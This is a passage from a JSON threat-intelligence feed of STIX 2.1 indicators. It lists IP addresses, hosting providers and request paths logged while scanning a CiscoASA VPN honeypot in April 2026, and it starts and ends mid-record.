            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e9f3778a-35fa-4f34-8069-139c175208ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-15T08:45:38.008Z",
          "last_seen": "2026-04-24T23:41:29.639Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--ec63015a-fc34-4a66-98da-03180d272c11",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:47:37.706Z",
          "last_seen": "2026-04-15T08:47:37.706Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--d2565423-959d-4100-8d88-464ab0126ccc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.243.250.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:47:45.785Z",
          "last_seen": "2026-04-15T08:47:45.785Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--37cbd25d-3aaf-4e22-a84f-e6af85f4cab3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-15T09:03:35.512Z",
          "last_seen": "2026-04-29T10:44:09.893Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: MD; ASN 201813 (Contrust Solutions S.R.L.)",
      "id": "indicator--53f91898-da2b-4ef7-963a-ea213e0c9a6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '206.123.144.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T09:09:41.103Z",
          "last_seen": "2026-04-15T09:09:41.103Z",
          "country": "Moldova",
          "country_code": "MD",
          "asn": 201813,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--13a7826b-de8b-4737-b554-3cb0271420e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T08:43:39.241Z",
          "last_seen": "2026-04-21T16:10:37.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--f2497753-c786-452e-84c9-c14731f2e847",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:59:08.191Z",
          "last_seen": "2026-04-15T08:59:08.191Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--735e260e-314d-4096-bb4a-19d0a13f0540",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-15T08:58:42.719Z",
          "last_seen": "2026-04-25T06:09:41.111Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--c44a325b-9501-4690-b350-3e498290f4ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:59:32.278Z",
          "last_seen": "2026-04-15T08:59:32.278Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: IR; ASN 208137 (Feo Prest SRL)",
      "id": "indicator--b7265c66-e586-45da-b835-0e745b19b887",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.60.131.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:59:36.513Z",
          "last_seen": "2026-04-15T08:59:36.513Z",
          "country": "Iran",
          "country_code": "IR",
          "asn": 208137,
          "as_org": "Feo Prest SRL",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--777763e6-6449-4120-9342-809e9adcd73f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:47:32.389Z",
          "last_seen": "2026-04-15T08:47:32.389Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BG; ASN 209896 (Contrust Solutions S.R.L.)",
      "id": "indicator--cf88d7f4-4508-4d97-9ed8-d6c8215dedf3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.239.146.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T09:20:13.000Z",
      "valid_until": "2026-05-17T09:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-15T08:47:54.136Z",
          "last_seen": "2026-04-15T08:47:54.136Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 209896,
          "as_org": "Contrust Solutions S.R.L.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f2cbe630-897d-4e2e-9fb3-408e498dcae3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-15T10:50:44.723Z",
          "last_seen": "2026-04-21T04:20:36.031Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--cf32875d-698c-4f40-91c0-bb7929d753fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T10:31:51.989Z",
          "last_seen": "2026-04-30T01:08:51.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--be8a566e-e5b4-4510-abb5-26f28eb7fcc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T09:39:30.313Z",
          "last_seen": "2026-04-27T17:15:36.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--867eb0b2-fd30-493d-9692-d5764c0f2281",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-15T09:57:23.233Z",
          "last_seen": "2026-04-30T01:56:28.808Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--27b92ffa-606b-4de7-9476-915caa013507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-15T10:36:18.734Z",
          "last_seen": "2026-04-29T21:35:57.746Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f393518a-aa71-440b-9bbd-af9612f794f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-15T11:08:41.490Z",
          "last_seen": "2026-04-27T15:57:55.021Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d3cff22c-c993-48d2-87e6-fffcb3f6df94",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-15T11:19:41.205Z",
          "last_seen": "2026-04-29T12:17:21.390Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--92b8d5aa-a809-4e3f-8cd7-72a8aac4ee29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-15T10:51:08.040Z",
          "last_seen": "2026-04-25T05:53:58.611Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-15T11:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--226045d0-0819-4bb3-bed5-aafc3cdad6b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.165.82.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:20:07.000Z",
      "valid_until": "2026-05-17T11:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-15T10:52:48.543Z",
          "last_seen": "2026-04-15T10:52:51.544Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-16T01:20:11.000Z",
